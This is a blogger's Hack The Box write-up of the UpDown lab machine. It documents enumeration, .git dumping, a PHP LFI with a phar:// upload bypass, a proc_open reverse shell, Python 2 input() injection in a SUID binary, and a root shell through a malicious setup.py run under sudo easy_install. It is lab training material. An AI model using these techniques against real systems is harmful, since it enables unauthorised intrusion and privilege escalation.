DEV Community

0xAp0ll0
0xAp0ll0

Posted on

UpDown-HTB

UpDown — HTB Write-up

Difficulty: Medium
OS: Linux
IP: 10.10.11.177

Overview


UpDown is a medium-difficulty Linux machine involving several stages of enumeration and exploitation.
The initial foothold is obtained through a vulnerable web application., I found its source code through an exposed .git repository which led me tp discovering a development subdomain protected by a custom HTTP header
The application contains a PHP Local File Inclusion vulnerability that can be combined with an upload functionality and the phar:// wrapper to achieve Remote Code Execution.After obtaining a shell as www-data, I exploited a vulnerable SUID Python application to become the developer user. Finally, the developer account was allowed to execute easy_install with sudo, which could be abused to obtain a root shell.


2. Reconnaissance

Nmap

I started with a full TCP port scan:

nmap -sCV -p- -T4  -v <IP> -oN nmap
Host is up (0.13s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 9e:1f:98:d7:c8:ba:61:db:f1:49:66:9d:70:17:02:e7 (RSA)
|   256 c2:1c:fe:11:52:e3:d7:e5:f7:59:18:6b:68:45:3f:62 (ECDSA)
|_  256 5f:6e:12:67:0a:66:e8:e2:b7:61:be:c4:14:3a:d3:8e (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: "Is my Website up ?"
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Aug 16 07:27:45 2026 -- 1 IP address (1 host up) scanned in 531.02 seconds

Enter fullscreen mode Exit fullscreen mode

The scan revealed two interesting ports:

22/tcp  open  ssh
80/tcp  open  http
Enter fullscreen mode Exit fullscreen mode

Having no credentials it was obvious that the main attack surface was therefore the web server running on port 80.

3. Web Enumeration


Browsing to the website showed a web application that allows users to check whether a given website is online.
The application also revealed the hostname:siteisup.htb
I added it to /etc/hosts:

echo "<IP> siteisup.htb" | sudo tee -a /etc/hosts
Enter fullscreen mode Exit fullscreen mode

The application had a debug functionality that allowed me to observe how it handled the supplied URL.

Virtual Host Enumeration

I next searched for virtual hosts using FFUF:

ffuf -u http://siteisup.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H " Host : FUZZ.siteisup.htb" -fs 1131

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://siteisup.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.siteisup.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 1131
________________________________________________

dev                     [Status: 403, Size: 281, Words: 20, Lines: 10, Duration: 132ms]
:: Progress: [19966/19966] :: Job [1/1] :: 140 req/sec :: Duration: [0:01:18] :: Errors: 0 ::

Enter fullscreen mode Exit fullscreen mode

I added the subdomain:

echo "10.10.11.177 dev.siteisup.htb" | sudo tee -a /etc/hosts
Enter fullscreen mode Exit fullscreen mode

However, accessing it directly returned:403 Forbidden

4. Directory Enumeration

I enumerated directories on the main website:

gobuster dir \
-u http://siteisup.htb/ \
-w /usr/share/wordlists/dirb/common.txt
Enter fullscreen mode Exit fullscreen mode

One interesting directory was:

/dev
Enter fullscreen mode Exit fullscreen mode

Running Gobuster against it:

gobuster dir \
-u http://siteisup.htb/dev \
-w /usr/share/wordlists/dirb/common.txt
Enter fullscreen mode Exit fullscreen mode

revealed:.git
An exposed .git directory is particularly interesting because it can potentially expose the application's source code and Git history.


Dumping the Git Repository

I used git-dumper to retrieve the repository:

git-dumper http://siteisup.htb/dev/.git updown.git
Enter fullscreen mode Exit fullscreen mode

I could then inspect the downloaded source code locally.
One of the most interesting files was:

.htaccess
Enter fullscreen mode Exit fullscreen mode

The configuration revealed that access to the development application required a special HTTP header:
Special-Dev: only4dev
Without this header, access was denied.

6. Accessing the Development Application

I added the following header to my requests using a browser extension called Modheader:

The development application was another version of the website checker.
At this point I went back to the source code retrieved from Git.

7. Identifying the LFI

Looking at index.php, I found:

$page=$_GET['page'];

if($page && !preg_match("/bin|usr|home|var|etc/i",$page)){
    include($_GET['page'] . ".php");
}else{
    include("checker.php");
}
Enter fullscreen mode Exit fullscreen mode

The application directly passes the page parameter to PHP's include() function.
This is potentially vulnerable to Local File Inclusion.
There is a blacklist intended to prevent access to directories such as:

/bin
/usr
/home
/var
/etc
Enter fullscreen mode Exit fullscreen mode

However, the application does not properly prevent other PHP stream wrappers.
This became important when I inspected checker.php.

8. File Upload Functionality

The application accepts a file containing a list of websites.
The source code showed several restrictions.
The uploaded file must be smaller than 10 KB:

if ($_FILES['file']['size'] > 10000) {
    die("File too large!");
}
Enter fullscreen mode Exit fullscreen mode

Several extensions are blacklisted

if(preg_match("/php|php[0-9]|html|py|pl|phtml|zip|rar|gz|gzip|tar/i",$ext)){
    die("Extension not allowed!");
}
Enter fullscreen mode Exit fullscreen mode

The uploaded file is then stored under

uploads/<md5(time())>/
Enter fullscreen mode Exit fullscreen mode

The most important finding is that .phar is not included in the blacklist
A PHAR archive can contain PHP code, meaning the extension blacklist is insufficient.

9. Exploiting phar://

I created a simple PHP payload:

<?php phpinfo(); ?>
Enter fullscreen mode Exit fullscreen mode

and saved it as: info.php
I then compressed it and renamed it into a txt file since .zip is blacklisted

zip info.zip info.php
mv info.zip info.txt
Enter fullscreen mode Exit fullscreen mode

After uploading the file, I could reference the archive using the PHP phar:// wrapper.
The vulnerable parameter could therefore be used in a form similar to:

?page=phar://uploads/<directory>/info.txt/info
Enter fullscreen mode Exit fullscreen mode

This caused PHP to process the embedded PHP file and resulted in the phpinfo() output being displayed.

10. Bypassing Disabled PHP Functions

Although I had code execution, the PHP configuration disabled several common command execution functions, including:

Therefore, a simple PHP reverse shell would not work.

I used dfunc-bypasser to identify alternative PHP functions that were still available.
so i downloaded the phpinfo page and feeded it to the dfunc-bypasser

python2 dfunc-bypasser.py  --file ~/HTB/UpDown/PHPINFO 


                                ,---,                                                                                                                                                       
                                  .'  .' `\                                                                                                                                                 
                                  ,---.'     \                                                                                                                                              
                                  |   |  .`\  |                                                                                                                                             
                                  :   : |  '  |                                                                                                                                             
                                  |   ' '  ;  :                                                                                                                                             
                                  '   | ;  .  |                                                                                                                                             
                                  |   | :  |  '                                                                                                                                             
                                  '   : | /  ;                                                                                                                                              
                                  |   | '` ,/                                                                                                                                               
                                  ;   :  .'                                                                                                                                                 
                                  |   ,.'                                                                                                                                                   
                                  '---'                                                                                                                                                     


                        authors: __c3rb3ru5__, $_SpyD3r_$                                                                                                                                   


Please add the following functions in your disable_functions option: 
proc_open
If PHP-FPM is there stream_socket_sendto,stream_socket_client,fsockopen can also be used to be exploit by poisoning the request to the unix socke
Enter fullscreen mode Exit fullscreen mode

The results showed that proc_open() was available.

proc_open() can be used to start a process, making it suitable for command execution.

Getting a Shell as www-data

I found this PHP payload that uses proc_open():

I compressed the file and renamed it to bypass the upload restrictions:

zip rev.zip rev.php
mv rev.zip rev.txt
Enter fullscreen mode Exit fullscreen mode

I started a listener:

nc -lvnp 1337
Enter fullscreen mode Exit fullscreen mode

Then I triggered the uploaded PHAR through the vulnerable page parameter.The reverse shell connected back successfully.
I now had:

www-data@updown:/var/www/dev$ ```




## Enumerating the Target

I checked the home directory and i only found a user called developper that had a directory called dev 
I entered itand  files immediately stood out:


```text
siteisup
siteisup_test.py
Enter fullscreen mode Exit fullscreen mode

The siteisup binary had the SUID bit set.

Exploiting the SUID Python Application

I inspected the Python source code.
The application essentially did:

import requests

url = input("Enter URL here:")
page = requests.get(url)

if page.status_code == 200:
    print "Website is up"
else:
    print "Website is down"
Enter fullscreen mode Exit fullscreen mode

The important detail was that the script used: input()
and the syntax showed that this was Python 2.
In Python 2, input() evaluates the supplied input as Python code, similar to eval().

Since the executable was SUID and owned by developer, code executed through this application inherited the developer privileges.
I supplied:

__import__('os').system('/bin/bash')
Enter fullscreen mode Exit fullscreen mode

The payload was executed by the SUID program and gave me a shell as:

www-data@updown:/home/developer/dev$ ./siteisup
Welcome to 'siteisup.htb' application
Enter URL here:__import__('os').system('/bin/bash')
developer@updown:/home/developer$ id
uid=1002(developer) gid=33(www-data) groups=33(www-data)
Enter fullscreen mode Exit fullscreen mode

. Developer SSH Key

With access as developer, I checked the user's SSH directory:

cat /home/developer/.ssh/id_rsa
Enter fullscreen mode Exit fullscreen mode

The private SSH key was readable.
I copied the key to my local machine and restricted its permissions
then connected through SSH:

ssh -i id_rsa developer@siteisup.htb
Enter fullscreen mode Exit fullscreen mode

This gave me a more stable shell as developer and we got the flag

Privilege Escalation

The first thing i did as always was checking the user's sudo permissions:

developer@updown:~$ sudo -l
Matching Defaults entries for developer on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User developer may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/local/bin/easy_install
Enter fullscreen mode Exit fullscreen mode

The important entry showed that developer could execute: easy_install
as root without a password.

This was the final privilege escalation vector.

16. Exploiting easy_install

i remeber one time seing the easy_install script one time while scrolling the GTFOBINS website on another box so i didn't waste any time and went straight to it

So basically easy_install is an old Python package-installation utility and ane of the important things it can do is process a Python package directory.
For example: easy_install .When easy_install processes that directory, it looks for a Python installation script called:setup.py and executes Python code from it.
so if create my own setup.py file then execute it as sudo i can get a shell

I i navigate to /tmp and create a directory named malicious there after that I create a malicious setup.py:

echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > /tmp/malicious/setup.py
Enter fullscreen mode Exit fullscreen mode

Finally, I executedit

sudo easy_install /tmp
Enter fullscreen mode Exit fullscreen mode
# whoami
root
Enter fullscreen mode Exit fullscreen mode

With root access, we can read the root flag :

cat /root/root.txt
Enter fullscreen mode Exit fullscreen mode

The machine was successfully compromised.

Review

I really enjoyed this machine with its high and lows i was stuck for a while on the user flag and i couldn't have done it without hints but this is part of the learning journey and i really enjoyed the attack chain but for the root flag to be honest it was a piece of cake . See you in another one ! <3

Top comments (0)